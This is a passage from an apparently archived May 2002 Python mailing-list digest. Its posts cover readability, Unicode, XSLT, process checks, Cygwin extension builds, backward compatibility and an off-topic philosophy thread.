Never-Never-Land, but darn it, I'll fight it all the way. I still think it's all a plot by that dratted Wendy Darling! Mike Christian Tismer wrote: > Mike C. Fletcher wrote: ... > I hereby encourage you to write that in the best > way you can, since I know of a Python branch > that will happily adopt any short and sensible optimization. > I can contribute a bunch to this, too. > ... > Viruses pretending to be real emails are becoming > a problem. This one was just simple to detect: > The real Timbot would either implement it in less > bytes than the text of this response, or propose > to provide an appropriate optional extension mechanism > for special optimization modules. ... _______________________________________ Mike C. Fletcher http://members.rogers.com/mcfletch/ From sjmachin at lexicon.net Wed May 8 17:37:20 2002 From: sjmachin at lexicon.net (John Machin) Date: 8 May 2002 14:37:20 -0700 Subject: Multibyte Character Surport for Python References: Message-ID: Erno Kuusela wrote in message news:... > In article , > loewis at informatik.hu-berlin.de (Martin v. L?wis) writes: > > | So far, it appeared that there is wide agreement that identifiers in > | Python should be ASCII only. Do you disagree, i.e. do you *really* > | want to use non-ASCII identifiers? > > what would be the advantage in preventing non-english-speaking people > from using python? > > -- erno OK, here are some quick contributions to what promises to be a very rational debate :-) (1) You mean, like they are prevented from using FORTRAN, COBOL, C, ...? (2) Perhaps you mean 'Merican-speaking ... I'd like to campaign for programming languages to accept keywords, method names, etc based on the programmer's locale, for example 'centre' versus 'center' (3) And for folk who might prefer (say) verb-last order, we could base the grammar on locale, so that instead of being forced unnaturally to write foo = 0 they could instead use something like this: 0 _(to) foo _(bind) From boud at valdyas.org Fri May 10 11:36:14 2002 From: boud at valdyas.org (Boudewijn Rempt) Date: Fri, 10 May 2002 17:36:14 +0200 Subject: Which GUI Library to Use References: Message-ID: <3cdbe8f0$0$188$e4fe514c@dreader3.news.xs4all.nl> Ron Stephens wrote: > The Zaurus is based on the Trolltech QT toolkit. So, optimally, I > should probably learn PyQt and deploy as native QT apps on the Zaurus. > But I don't know how well or how easily the PyQt apps would port to > the Zaurus. > You shouldn't have _any_ problems at all. -- Boudewijn Rempt | http://www.valdyas.org From hancock at anansispaceworks.com Mon May 6 11:22:08 2002 From: hancock at anansispaceworks.com (Terry Hancock) Date: Mon, 06 May 2002 08:22:08 -0700 Subject: What makes code "readable"? (was Re: Python vs. Perl, which is better to learn?) References: <20020507000637.23324.92190.Mailman@mail.python.org> Message-ID: <3CD69FA0.E5968E34@anansispaceworks.com> Mark McEahern wrote: > When I was looking at that "readable" Perl > code which George pointed us to (some comments > probably forthcoming from me in a reply to his > post, but in any event thanks George! :) I started > to ponder that question. > > "What makes code readable?" > > (Actually it was "why do I still not find this highly > readable?") > > One thing that occurred to me was that the Perl code had a > very high number of "transitions" between punctuation and > text. > > Effectively every line, and sometimes literally > a dozen times within a line, text and symbols are > mixed. Not just the odd parenthesis or period, but > great streams of that infamous Perl "line noise". > > I think a high "symbol-set-transition rate" (please > offer a better term) leads to low readability. > > Punctuation itself also inherently lowers > readability, I believe, which is a reason I find > assembly easier to read than Perl, though clearly > less productive. Oh I dont know I think its just possible though sometimes difficult for me to articulate if articulate is the right word which it might be but I digress lets get back to the point I think punctuation actually does lend a lot of readability in both programs and prose Indeed I always find it pretty annoying when people leave punctuation out of their email posts and I suspect you know what I mean by now This is particularly relevant when there are many twists and turns to be followed as in this passage with parenthetical clauses and in highly nested code ;-) Seriously, though I think that punctuation aides readability. The real issue with Perl is probably the degree to which punctuation characters are not used *as* punctuation, but rather as *words* in their own right. Python, of course, does use punctuation too, but it is more like the traditional uses: '.' divides methods and attribs from their class, ':' demarks a block of code -- though the most potent form of punctuation in Python is the use of spaces and tabs which create a strong visual grouping of the code. You don't really have to think of these symbols individually -- they are the "negative space" around the tokens you are thinking about (though they do affect your understanding of the relationships between tokens). For me (very visually oriented), this is really useful. If I want to find something in my code, I often don't really read it -- I remember what the code "looks like" which more or less boils down to the indenting pattern. This is precisely why I'm so picky about indenting and bracket placement in C. With Python, the code pretty much "looks" the same, regardless of who writes it, and that's very helpful. Some people are really into long variable names for clarity, but I think there's actually a tradeoff. Sometimes a short symbol greatly increases readability. If I'm going to use a variable a lot (especially in an equation or set of them), it's often convenient to use short symbols like: c # the speed of light i # index counter etc. Instead of "lightspeed" or "count" or something. It also reduces the number of "lihgtspeed" errors I have to fix. :-D In fact, if I use "c" for the speed of light, I'll be understood by physics-oriented programmers in any language, whereas the word is language-specific. Long names are mostly useful when the definition creeps far away from the usage, or when it's a concept that isn't very familiar, or has no common abbreviation. Short names are particularly good in mathematically-intense blocks, where long names would interfere with the flow of the equations, or obscure the structure that you're trying to describe. Another useful criterion (probably a bigger deal for more auditory-oriented folks) is "can you pronounce it?". Seriously, if you can read the code aloud (especially in an unambiguous way) this may be very helpful. The punctuation characters tend to have no fixed pronunciation, and even if you could pronounce it, it would often be essentially gibberish. If you are thinking of it as a mathematical equation, that *might* be okay (though I think this is a factor in mathematics, too), but most algorithms lend themselves to be described as a process, as if you were reading a cookbook to someone. If you can do this aloud, then you can also read it in your head with less cognitive dissonance (e.g. not switching between verbal and non-verbal thought all the time). In reading the "line noise" bits of some programs I find myself thinking along the lines of "... then we compare _hmm_ with _hmm_ and then _hmm_ _hmm_ _hmm_ ..." where each "_hmm_" is me losing my verbal focus, and substituting some unpronounceable concept. Since it's not associated with a word, it's harder to keep track of in your head, so it's probably easier to forget what you're doing. Most of the "words" in a Python program, on the other hand, are pronounceable words, which means you can stick a verbal tag on them, and keep track of it better. Even if it's "pee-open" and "eff-stat" and other non-English words, you still tend to develop a fixed pronounciation for them. Just IMHO, of course, Terry -- ------------------------------------------------------ Terry Hancock hancock at anansispaceworks.com Anansi Spaceworks http://www.anansispaceworks.com ------------------------------------------------------ From rob Thu May 23 10:36:46 2002 From: rob (Rob Andrews) Date: Thu, 23 May 2002 14:36:46 GMT Subject: python-friendly web hosts: buyer beware Message-ID: As webmaster of Useless Python, I went on the hunt some months back for python-frienly web hosting services for the site itself and to recommend to users of the site. This has proven to be more of an adventure than I had anticipated. In the quest, I have encountered a range of different organizations, from the Python-enthusiastic tummy.com to a few more dubious situations. Since Python is growing in popularity at what appears to be a rather vigorous pace, some hosts are advertising Python without really meaning much by it. I've been finding this out the hard way. Useless Python is currently hosted by valueweb.net, which advertises Python as an "Advanced Feature", but if we seriously plan to use Python "under the hood", for CGI, etc., we will have to do something else. (http://valueweb.net/products/enterprise_hosting.html proudly advertises Python as an "Advanced Feature" of their $299.00/month Enterprise Hosting package.) Their support database lists the install directory as /usr/local/bin/python although it turns out to be /usr/bin/python and the installed version is Python 1.4! When I asked tech support about upgrading Python on the server, the response was "Well, unfortunately it likely will not be, out of 350,000 domains in service about 5 accounts use it. you may email comments at valueweb.net concernignthe issue." and "Python is at usr/bin/python. Other than that we do not provide support for it." Although I have a doubt or two about the numbers he cited in that quote, of course few would be interested in using a version of Python so out-of- date to power their websites. Moral of the story: Python is apparently becoming popular enough for some companies to consider using "Python" as a marketing buzz-word without putting any real resources behind it. this-is-shorter-than-the-message-I-just-sent-them-ly yours, Rob Andrews, http://uselesspython.com From never at mind.info Fri May 24 13:48:36 2002 From: never at mind.info (G. Willoughby) Date: Fri, 24 May 2002 18:48:36 +0100 Subject: Grabbing data from my motherboard thermistor? References: Message-ID: > Also, with more information, better help would be available: > What OS? What Motherboard brand and model? etc tc... OS: WinME MB: Abit KT7a From marklists at mceahern.com Fri May 10 11:55:46 2002 From: marklists at mceahern.com (Mark McEahern) Date: Fri, 10 May 2002 10:55:46 -0500 Subject: lists + string In-Reply-To: Message-ID: [ian] > input = str(raw_input ......... > > how do i compare it to an element in a list?? > > ive tried > > for x in list > if input == x:print 'found item' > > but it dont work any help would be great thanx Python encourages you to use good form when formatting your code. Note the missing : at the end of your for statement. By the way, it's always a good idea when posting a question about code that's broken to provide a full example of the code that's broken. You wrote, "it don't work", but you don't tell us what isn't working, what are the symptoms of failure, etc. Also, you don't show us sample input or a sample list. We have to guess this for ourselves. Help us help you. Chances are, if you do that, you'll end up helping yourself eventually. Cheers, // mark From peter at engcorp.com Sat May 4 23:09:21 2002 From: peter at engcorp.com (Peter Hansen) Date: Sat, 04 May 2002 23:09:21 -0400 Subject: XML, Python, XML-SIG, documentation, PyXml, 4 References: <3CC62D76.2E0D3A54@engcorp.com> Message-ID: <3CD4A261.182373AC@engcorp.com> [Reposting to possibly-still-relevant threads since my outbound news has been swallowing all my posts for a week!] andrew cooke wrote: > > Peter Hansen wrote in message news:<3CC62D76.2E0D3A54 at engcorp.com>... > > andrew cooke wrote: > > > > > > (I've already looked at XSLT and I don't believe that is the right > > > tool for this kind of job). > > > > Why do you say that? What you describe above is pretty much > > what XSLT is for... > > My understanding (which may be completely wrong - in which case I'd > like to know!) is that XSLT is for generating new representations from > the old data, but that the new representation is separate from the old > structure. In other words, it's easy to generate a completely new > form based on the original information, but difficult to keep the old > data largely intact with just small modifications. I don't think I understand the distinctions you are making. Certainly the output is separate from the old structure, since it's a new tree. You cannot modify the previous tree in-place. XSLT is declarative: it describes how the new tree should look, and builds it from pieces of the old. But there's absolutely no reason you can't generate a new tree that looks very like the old one but with just small modifications. > If that's wrong, please could someone point me to an example (and > apologies for being obtuse, but the examples I've seen are of that > form and, in one case, stressed what I thought was the point I'm > making above). Once I understand the point you are making I might be able to. Effectively any book about XSLT should examples which show what I'm talking about, so if they don't look suitable to you I must be missing something still. -Peter From look at replyto.address.invalid Thu May 23 20:11:02 2002 From: look at replyto.address.invalid (Greg Ewing) Date: Fri, 24 May 2002 12:11:02 +1200 Subject: Here's my common prefix code (Re: suggestion for os.path.commonprefix) References: <3CEC5E05.396422FC@replyto.address.invalid> <6c575772.0205230745.29dcca04@posting.google.com> Message-ID: <3CED8516.B97B48D8@replyto.address.invalid> Cristian Barbarosie wrote: > > You should not have changed the subject line, I almost missed > your post. Sorry -- I forget sometimes that there are newsreaders that don't understand threads properly. I changed it to try to make it more obvious that there was something attached, lest people miss it! Looks like I can't win... > Thank you for the code. You're welcome, -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From andrew.henshaw at mail.com Thu May 23 23:31:25 2002 From: andrew.henshaw at mail.com (Andrew Henshaw) Date: Thu, 23 May 2002 23:31:25 -0400 Subject: Ann: Stackless Limbo Dancing Works Fine! References: Message-ID: Fernando Pereira wrote: > On 5/21/02 12:07 AM, in article ueji35ihipuee3 at corp.supernews.com, "Andrew > Henshaw" wrote: >> An Occam channel is very simple and was implemented efficiently in the >> Transputer's microcode. I suspect that having only a single transmitting >> process and a single receiving process simplifies that task. As I said >> before, I believe that this holds for CSP also. > I can't find my CSP book, but from memory I don't think this is correct. > Through || (PAR), it is possible for several concurrent processes to > attempt to read or to write on the same channel. Then the channel > implementation needs a queue to hold all the blocked processes until a > complementary event occurs, at which point one of the pending requests is > matched to the event and the blocked process becomes runable. I believe that my statement was correct. From a 1985 version of Communicating Sequential Processes (p. 134): "We shall observe the convention that channels are used for communication in only one direction and between only two processes. A channel which is used only for output by a process will be called an output channel of that process; and one used only for input will be called an input channel. In both cases, we shall say loosely that the channel name is a member of the alphabet of the process." >> The main difference >> between CSP and Occam channels is the ability of an ALT-type construct to >> know whether a receiving process on the other end of a channel is ready >> to >> receive (called an output guard, IIRC). In Occam, if you're a >> transmitting process, you can't simply check whether a receiver is ready >> to go; you have to commit to your send and then the communication either >> completes or you block. > The critical difference is not any ALT-type construct, but the fact that > the same channel can be shared among multiple concurrent readers and > writers. > As above. > BTW, you might find useful some of the materials on JCSP > > http://www.cs.ukc.ac.uk/projects/ofa/jcsp/ > > -- F Thanks for the reference! Sincerely, Andy Henshaw From pyth at devel.trillke.net Fri May 10 15:11:19 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 10 May 2002 21:11:19 +0200 Subject: is there a better way... In-Reply-To: ; from eddie@holyrood.ed.ac.uk on Fri, May 10, 2002 at 07:03:29PM +0000 References: Message-ID: <20020510211119.H25906@prim.han.de> Eddie Corns wrote: > Christopher Encapera writes: > > >to loop over a list and replace an element based on its value than: > > >x = [1,2,3,4,5,6,7,8,9] > >y = len(x) > >z = 0 > >while z < y: > > element = x[z] > > if element == 5: x[z] = '678' > > z = z +1 > > > > >Another words is there a way to do this with a "for" statement - some method > >that will return the current z (of x[z]) in the loop? > >(My goal is to open Windows logon scripts and update the path to the latest > >virus DAT's) > > I have the following routine defined in my utils library > > from __future__ import generators > # add sequence numbers to a sequence. > # Instead of doing eg: > # for a,b in seq: > # do: > # for n,(a,b) in number_seq (seq): > def number_seq (seq): > cnt = 0 > for item in seq: > yield (cnt, item) > cnt += 1 > ... > Needs 2.2 obviously and a better name probably. look at PEP279 http://www.python.org/peps/pep-0279.html which will be in 2.3 and is a more performant implementation than yours. have fun, holger From pyth at devel.trillke.net Wed May 8 13:20:34 2002 From: pyth at devel.trillke.net (holger krekel) Date: Wed, 8 May 2002 19:20:34 +0200 Subject: article: MS in Peruvian open-source nightmare In-Reply-To: <200205081615.g48GFWjX025172@ratthing-b246.strakt.com> References: <200205081615.g48GFWjX025172@ratthing-b246.strakt.com> Message-ID: <20020508172034.GS4604@devel.trillke> Laura Creighton wrote: > > a peruvian congressman answers to letter form MS. > > > > its an long, but interesting read in favor of open source (hi Oleg ;-). > > i post this note here because GvR is metioned along with RMS, Linus and > > others. > > > > here's the article from "The Register" (found on "/."): > > http://www.theregister.co.uk/content/4/25157.html > > > > chris > > Thank you very much for posting this Chris. > > I don't have to write the 'why do I want a world in which the right to > close source your program is greeted with the same sort of horror as the > right to sell your children into slavery' article. The Peruvian > legislator David Villanueva Nu?ez has done a better job than I could. > > I think that this is pretty straight forward, and written well, as one might > expect from a famous Poet. But if anybody wants 'marginal aggregate value' > and the like explained to them, post away and I will get to it. This letter is really an *astounding* work. I have never read anything like this from a politician. 'Our democratic' politicians should start to think about his statements such as: "It is also necessary to make it clear that the aim of the Bill we are discussing is not directly related to the amount of direct savings that can by made by using free software in state institutions. That is in any case a marginal aggregate value, but in no way is it the chief focus of the Bill. The basic principles which inspire the Bill are linked to the basic guarantees of a state of law, such as: Free access to public information by the citizen. Permanence of public data. Security of the State and citizens." makes one want to move to peru. thanks you very much for posting this, holger From tjreedy at udel.edu Fri May 10 15:51:52 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Fri, 10 May 2002 19:51:52 GMT Subject: Conditional compilation References: <3cdbb641_2@news3.newsgroups.com> Message-ID: "jb" wrote in message news:3cdbb641_2 at news3.newsgroups.com... > This question was probably asked many times. > > It does not seem to be possible to "comment out" blocks of code, which would > be a very nice feature for testing purposes. (Maybe I can do it with """ > but that looks a bit cumbersome.) Typing \n''' twice is hardly any more cumbersome than typing \n/*, \n*/. The ease of repeats compesates for the two extra keystrokes. Terry J. Reedy From BPettersen at NAREX.com Tue May 7 16:53:39 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Tue, 7 May 2002 14:53:39 -0600 Subject: "Inserting" a line in a text file? Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192215175@admin56.narex.com> > From: Duncan Smith [mailto:buzzard at urubu.freeserve.co.uk] > > I need to (in effect) insert a single line at the beginning > of an existing text file (a dumped MySQL database, so > potentially large). Is there anything cuter than eg. > creating a temporary file containing the single line, reading > the lines from the data file, appending them to the temporary > file, deleting the data file, renaming the temporary file? > Currently on Win2000, but the solution needs to be cross > platform. I can always go with the obvious, but something > faster and / or simpler would be nice (I might even learn > something). Cheers. TIA. fp = file('output', 'w') fp.write('new line' + '\n') for line in file('input'): fp.write(line) fp.close() os.remove('output') os.rename('input', 'output') is probably as simple as it gets, and I doubt you can do much faster. still-prefer-open-to-file-but-going-with-the-times'ly y'rs -- bjorn From peter at engcorp.com Thu May 30 19:27:06 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 30 May 2002 19:27:06 -0400 Subject: How to concatenate list members References: Message-ID: <3CF6B54A.41E4E81B@engcorp.com> Christopher wrote: > > I have to agree that '"sep".join(map(str, somelist))' is the best > trade-off between simplicity and completeness (you never know when > something may not be a string). If you go to > http://www.mindview.net/Books/Python/ThinkingInPython.html > (Bruce Eckel's page), he has a section on the page called "An idiom > for concatenating strings" which looks like: > > cs = lambda *args: ''.join(map(str,args)) > > with an example of: > > print cs("X=",x," Y=",calc_y(x)) # you have to define calc_y somewhere > else. This would probably be more readable as: def cs(*args): return ''.join(map(str,args)) Changing the name from "cs" to "joinAsStrings" or something would also improve the readability and maintainability. -Peter From fperez528 at yahoo.com Sun May 19 16:33:07 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Sun, 19 May 2002 14:33:07 -0600 Subject: Extending python with C References: Message-ID: James T. Dennis wrote: >>> You've put together a nice example. Thanks for taking the time to write >>> this >>> up. I thought I'd also give an example of how to do the same thing using >>> weave which allows you to mix C++ directly into Python. > > One question about weave; does it require a C compiler at run-time? > How does weave work? Does it pass the C out to a compiler, (and > presumably to the set of Python headers and libraries)? Does it save > the resulting .so file just like Python saves .pyc? Not just a C compiler, it needs a C++ compiler. I use it undre linux so it's not an issue, g++ is always around. But weave's developer works under Windows (mainly, though not exclusively) so I know it will also work under Windows. But I just don't know what the details there are. Cheers, f. From buzzard at urubu.freeserve.co.uk Tue May 7 18:06:48 2002 From: buzzard at urubu.freeserve.co.uk (Duncan Smith) Date: Tue, 7 May 2002 23:06:48 +0100 Subject: Was: "Inserting" a line in a text file? Message-ID: Thanks All, It just occured to me that I need to ensure that any temporary file has a unique path + filename. Is there some common idiom for this, or is os.tempnam([dir[,prefix]]) or os.tmpnam() appropriate? Cheers. Duncan From prouleau at impathnetworks.com Thu May 9 16:59:01 2002 From: prouleau at impathnetworks.com (Pierre Rouleau) Date: Thu, 09 May 2002 16:59:01 -0400 Subject: C/C++ data-structure/Class parser written in python Message-ID: <3CDAE315.FC1C58DC@impathnetworks.com> Hi, has anyone come across a parser that can parse C (at minimum) and C++ (optional) data structure declarations written in python? Really, all i need would be a simple parser that can parse a set of C headers declaring structure types that can be used to create complete structure member trees. Thanks Pierre From mwh at python.net Fri May 10 05:28:05 2002 From: mwh at python.net (Michael Hudson) Date: Fri, 10 May 2002 09:28:05 GMT Subject: How do I check if a pid is running? References: Message-ID: "Noah" writes: > If I have the pid to a process under UNIX then how do I get the status of that pid? > Specifically, I would like to see if child is running or not. > If the pid cannot even be found then I will assume that > process is not running. > > Note, that I think waitpid() may do what I want, but I'm not > quite sure of the semantics. I do not want to wait for completion > of a child process, so I probably need WNOHANG option, but that > returns 0 if the status is not immediately available, so presumably > the process could still be running. Therefore a 0 value is ambiguous. > > What do I need to do just to check if the pid even exists or not? If you know that the process is yours (or you're running as root) you can send signal 0 to it, e.g. os.kill(the_pid, 0) You'll get an exception (an OSError, I guess... yep) if you can't signal the process. In fact you can use the .errno attribute of said OSError and the errno module to find out if it failed because the process doesn't exist or because you don't have permissions to signal it: >>> def pid_exists(pid): ... try: ... os.kill(pid, 0) ... return 1 ... except OSError, err: ... return err.errno == errno.EPERM ... >>> pid_exists(1) 1 >>> pid_exists(os.getpid()) 1 >>> pid_exists(777) 0 >>> There may be better ways than this... Cheers, M. -- > With Python you can start a thread, but you can't stop it. Sorry. > You'll have to wait until reaches the end of execution. So, just the same as c.l.py, then? -- Cliff Wells & Steve Holden, comp.lang.python From theller at python.net Fri May 10 15:18:21 2002 From: theller at python.net (Thomas Heller) Date: Fri, 10 May 2002 21:18:21 +0200 Subject: What Exceptions are there? (was: "a better input") References: <080520021314438230%alexis.layton@post.harvard.edu> <1_tC8.40668$zW3.442583@news1.tin.it> <100520021023459171%pecora@anvil.nrl.navy.mil> Message-ID: "Duncan Booth" wrote in message news:Xns920AA51108B90duncanrcpcouk at 127.0.0.1... > "Emile van Sebille" wrote in > news:hQQC8.10635$Po6.194 at rwcrnsc52.ops.asp.att.net: > > > Louis M. Pecora > >> Ok, you knew there was an exception of that type (ValueError), but is > >> there a way to get a list of exceptions in a Python module or in the > >> main Python core? There are probably zillions. > > > > dir(__builtins__) gives you a good start. > > > If you have a sufficiently recent version of Python: > > Go to your python installation, change into the lib directory and run: > pydoc -g > You should get a small window popping up with some buttons and a text box > labelled 'Search for'. Type 'exceptions' into the box, press return and > click on the second entry 'exceptions - Python's standard exception class > hierarchy'. And for the (X)Emacs users: If you have a recent version of python-mode.el, type the word 'exceptions' in a python buffer, press F1, and voila! the same diagram appears. Thomas From cliechti at gmx.net Thu May 16 17:13:21 2002 From: cliechti at gmx.net (Chris Liechti) Date: 16 May 2002 23:13:21 +0200 Subject: Unicode File I/O Grief References: Message-ID: Dale Strickland-Clark wrote in news:qv68eug3vnm7r0plf76aatqsl4lja6io0r at 4ax.com: > martin at v.loewis.de (Martin v. Loewis) wrote: > >>I recommend to do >> >>codecs.open('C:\\odd.txt', 'wb', encoding="utf-8").write(ucString) >> >>or >> >>file('C:\\odd.txt', 'wb').write(ucString.encode("utf-8")) >> > > But surely these translate the string before writing it? > > I don't want it translated I want to see EXACTLY what's in there as it > stands. well whatever that means ;-) where does it stand? maybe you want the "utf-16" encoding where you have two bytes per character? (i think thats also the encoding used for internal represenation) chris > -- > Dale Strickland-Clark > Riverhall Systems Ltd -- Chris From brueckd at tbye.com Fri May 17 14:22:17 2002 From: brueckd at tbye.com (brueckd at tbye.com) Date: Fri, 17 May 2002 11:22:17 -0700 (PDT) Subject: might compatibility become a *goal*? In-Reply-To: <1021652963.460304@cswreg.cos.agilent.com> Message-ID: On Fri, 17 May 2002, Greg Weeks wrote: Hi Greg, > Python is not backward compatible. New versions of python don't work with > old code. Isn't that a bit broad? Much of my 1.5.2 code still works just fine, and the stuff I upgraded to 2.0 worked through 2.1 and is quite happy on 2.2. > Backward compatibility does not seem to be a goal of the controllers of > Python. (Is that just Guido?) Please be specific. Upon what, exactly, are you basing this? My impression is that reasonable steps are taken to remain backwards compatible (it _is_ a goal), but obviously (and thankfully!) not at all costs. It *seems* that when the choice is made to break compatibilty, it's the result of evaluating the costs versus the benefits, e.g. feature X is likely to break some code but not much, but it would remove a real wart from the language, and removing it now is much less painful than later. Java and C might appear to be more backwards compatible, but that's just a fallacy - they are pretty much stagnant languages; a new version of Java is a new version of the VM, of the supporting libraries, etc., but rarely a change in the language itself. Goodness, and even that doesn't guarantee anything; consider the heyday of Java AWT's 1.0 to 1.1 transition! > On the other hand, if enough people wanted backward > compatibility, it might be possible to make it a goal that, say, all > Pythons after 3.0 will be backward compatible with (nongoofy) 3.0 code. You can make and achieve that goal now: don't upgrade. Or, since the Python team is using CVS which lets you see change history, you could volunteer your time by back-applying bug fixes and back-porting new modules to the version of your choice. If you're not willing to do that, then it doesn't make sense to be too unhappy with their choice of allocating very finite resources. > I for one would feel happier if that was the case. Is that a feasible > goal? Does anyone else think it might be worthwhile? Define "worthwhile". For me the current level of code breakage is pretty low (or my tolerance is pretty high) - a lot of my deployed apps ship with their own version of Python anyway, and/or I purposely don't upgrade some applications/boxes until I need to. So far it's been pretty simple: install new Python, run test suites, fix problems if any, deploy. The single biggest block of time I _ever_ spent on breakage was changing stuff like s.connect('10.20.30.40',500) to s.connect(('10.20.30.40',500)), and that was literally on the order of minutes, not days or even just hours (if I remember right the bulk of it was fixed with a massive search and replace on 'connect' and 'append'). > no longer complaining about TIMTOWTDI, ?? Seems pretty orthoganal to backwards compatibility, no? -Dave From amckay at merlintechnologies.com Tue May 21 12:08:44 2002 From: amckay at merlintechnologies.com (Andy McKay) Date: Tue, 21 May 2002 09:08:44 -0700 Subject: Couple of Qs: ActiveState or "standard" distribution? (and GUI toolkits) In-Reply-To: References: Message-ID: <200205211603.g4LG3Yp19071@mail.merlinsoftech.com> > So, if you want to do Python scripts/macros in Excel or Word (or IE?), > you'll need to get AS Python. You can do most of that with the win32 modules. ActivePython bundles them for you, but its easy to install them yourself in a standard Python distro. http://starship.python.net/crew/mhammond/ -- Andy McKay From jason at tishler.net Mon May 6 12:59:22 2002 From: jason at tishler.net (Jason Tishler) Date: Mon, 06 May 2002 12:59:22 -0400 Subject: Creating C modules for Python under Cygwin In-Reply-To: References: <3CD41CC4.5752F30C@wag.caltech.edu> <20020506131744.GD1668@tishler.net> Message-ID: <20020506165922.GN1668@tishler.net> On Mon, May 06, 2002 at 02:53:09PM +0000, Alex Martelli wrote: > Martin v. L?wis wrote: > > I think this is what Alex had in mind. > > Alex doesn't understand the details of Cygwin, and dlltool in particular, > well enough to be certain, but it sure looks something like what I was > saying should be doable, yes. > [snip] OK, I got it to work. My previous procedure was incorrect because it did not get python.exe to export any symbols. The new (still quick and dirty) procedure is as follows: $ configure --disable-shared $ make python # [1] $ mkexp.sh # [2] $ make # [3] Notes: [1] make will stop after python.exe is built but before the shared extensions are. [2] Rebuild python.exe to export all appropriate symbols. The attached shell script, mkexp.sh, just blindly follows the procedure used by Cygwin PostgreSQL to export symbols from an executable. I admit to not fully grokking this procedure (yet). Additionally, there may be better, more modern ways (i.e., gcc -shared) of accomplishing the same results. I will investigate further. [3] Continue make to build the shared extensions. A Cygwin Python with a static Python library built with the above procedure successfully loads shared extensions and passes all regression tests. I intend to submit a patch to Python CVS with a clean version of the above. However my motivation would be greater, if I actually knew of someone who is really interested in this functionality. Is there anyone? Thanks, Jason -------------- next part -------------- A non-text attachment was scrubbed... Name: mkexp.sh Type: application/x-sh Size: 2429 bytes Desc: not available URL: From ChrisE at lantech.com Fri May 17 10:46:39 2002 From: ChrisE at lantech.com (Christopher Encapera) Date: Fri, 17 May 2002 10:46:39 -0400 Subject: OT: Crazy Programming Message-ID: Sense this thread is seems to no longer be all about country music and modern art, I thought I would break my self-imposed promise not to comment further (although, I would expect the flames for it not being about Python to occur very soon :) >Greg Ewing wrote: > >> Laura Creighton wrote: >> > >> > The ability to rank something and whether it is objective or not are >> > independent concepts. >> >> But for the ranking to be objective, it has to be >> independent of the person doing the ranking. > >I think the argument is that there EXISTS an objective interpretation >independently of whether we humans can perceive it. > >Plato argued this, furthermore suggesting that humans perception in the >matter is rather inaccurate. He used the analogy that reality was like >actors on a stage and we humans were chained in a position where we were >only able to observe the shadows these actors made on the wall. The fact >that our perception may be faulty and may admit some degree of >subjectivity and other misperceptions does not contradict the notion that >an objective reality truly exists. Even so-called objective scientific >experiments often yield results that include some percentage of error or >otherwise are ambiguous. > >Perhaps a clearer illustration: physical objects can be measured by humans >to varying degrees of accuracy depending on what instruments we use. >Without the instruments we can still estimate physical dimensions and we >can make fairly objective decisions about relative size. We can be misled >by optical illusions or other misdirection. Nevertheless, the objects >themelves still possess those physical characteristics, whether we measure >them or not. Interestingly, if one admits archetypes (Plato) then the greatest instruments of the senses (i.e. 'scientific' instruments) do not get one inch closer to the archetypes themselves. All instruments, and all measurement, depend on one of the five senses (sight, sound, taste, touch, smell). The post powerful microscope, and the Hubble space telescope, are nothing more than extensions of plain old human sight. If there is some fundamental epistemological barrier to getting at the REAL with the senses, instruments instead of being the solution, only extend the original limitation, possibly even magnify it. Thus, no matter how accurately/extensively/etc. you sense the shadow, you never get closer to the REAL itself > >> Which says to me that the ranking process is *not* >> completely objective. Not because the process involves >> people using their senses, but because the result >> depends on who is doing it. > >Laura's choice of a particularly subjective example actually underscores >the point. Although there is a lot of inescapable subjectivity regarding >ranking wines, a general consensus nevertheless emerged regarding a great >number of "measurements". > >Of course, there are some matters that are purely subjective. I think the >difference is when humans begin to pass judgement on things, rather than >merely measure them. E.g,, I can imagine two similar wines of equal >overall quality. Some people will prefer one and others may prefer >another. Make it easy and say the wines were a red and a white and some >people's preferences will be even more pronounced. That's not to say one >wine is better than the other, it's mere subjective Judgement -- a matter >of taste. But there are objective qualities that separate the wines >(e.g., acid, sugar and tannin levels) that form an objective basis for the >subjective judgement. Measurement is (can be) objective but judgement by >it's nature is subjective. Measurement implies an objective framework of >reference while judgement generally implies extrapolation beyond commonly >agreed upon criteria. > >Of course, the debate of whether or not an objective reality actually >exists independently of human subjective perception and judgement has been >argued at length by smarter philosophers than me, long before I was born. >E.g., Physicsts get rather dogmatic about equating unmeasureable with >unknowable, leading to some curious paradoxes. > >A lot of geeks tend to go overboard on the 'objective reality' side of >things. They presume that everything is knowable if only we can gather >enough data. Often they mistakenly include things that are purely >subjective, purely a matter of personal judgement rather than objective >reality. Many flames and religious wars otherwise would be averted. > One of those domains that dogmatic philosophical materialists reject on the basis of their presuppositions are the domains that most of us admit are real, but nonetheless do not admit to the measurement of the five senses, is the domain of the 'spiritual'. Hope, Love, the human soul, etc, are by their nature not amenable to measurement by the senses, and thus will never be understandable, provable, etc. to the materialist mind. Fortunately, the search for truth, which is at the bottom of the scientific method, is not restricted to materialist notions of reality. Unfortunately, today the domain of the "Scientific community" and "Dogmatic philosophical materialist" overlap, to a very high degree (98, 99%?). This leads to unfortunate consequences for the search of truth, namely it obstructs/delays it. Let me cite an example from my own experience: As an undergraduate psych major, I noticed that standard psychological theory (which is materialist to the core) could not explain why Alcoholics Anonymous happens to be the most effective treatment for alcoholism. Every attempt to understand/study/explain it by psychologists either ring hollow, or they themselves admitted were weak. The answer is obvious to a non-dogmatic materialist - AA admits and works with a non material side of man - namely the spiritual. One day in class I brought this point up and the embarrassed professor said something to the effect of "well, that is not what we do here". He was right, the spiritual can never (by definition) be part of a materialist understanding. Fortunately for alcoholic, and the future of science, a truthful understanding is not necessarily a materialist one. "He that is good with the hammer tends to see everything as a nail". Philosophical materialists have been very successful at explaining/taking advantage of (i.e. technology) material(5 sense) reality. The domain of Truth is larger than the domain of 'the material', even in such a small part of the universe as a single human person... (: repeat after me, "I am not merely a brain, I am not merely a brain" ;) >Regards > >--jb From philh at comuno.freeserve.co.uk Tue May 21 15:41:39 2002 From: philh at comuno.freeserve.co.uk (phil hunt) Date: Tue, 21 May 2002 20:41:39 +0100 Subject: Licensing question References: Message-ID: On Tue, 21 May 2002 11:11:04 -0700, David LeBlanc wrote: >Python, fortunately, is not 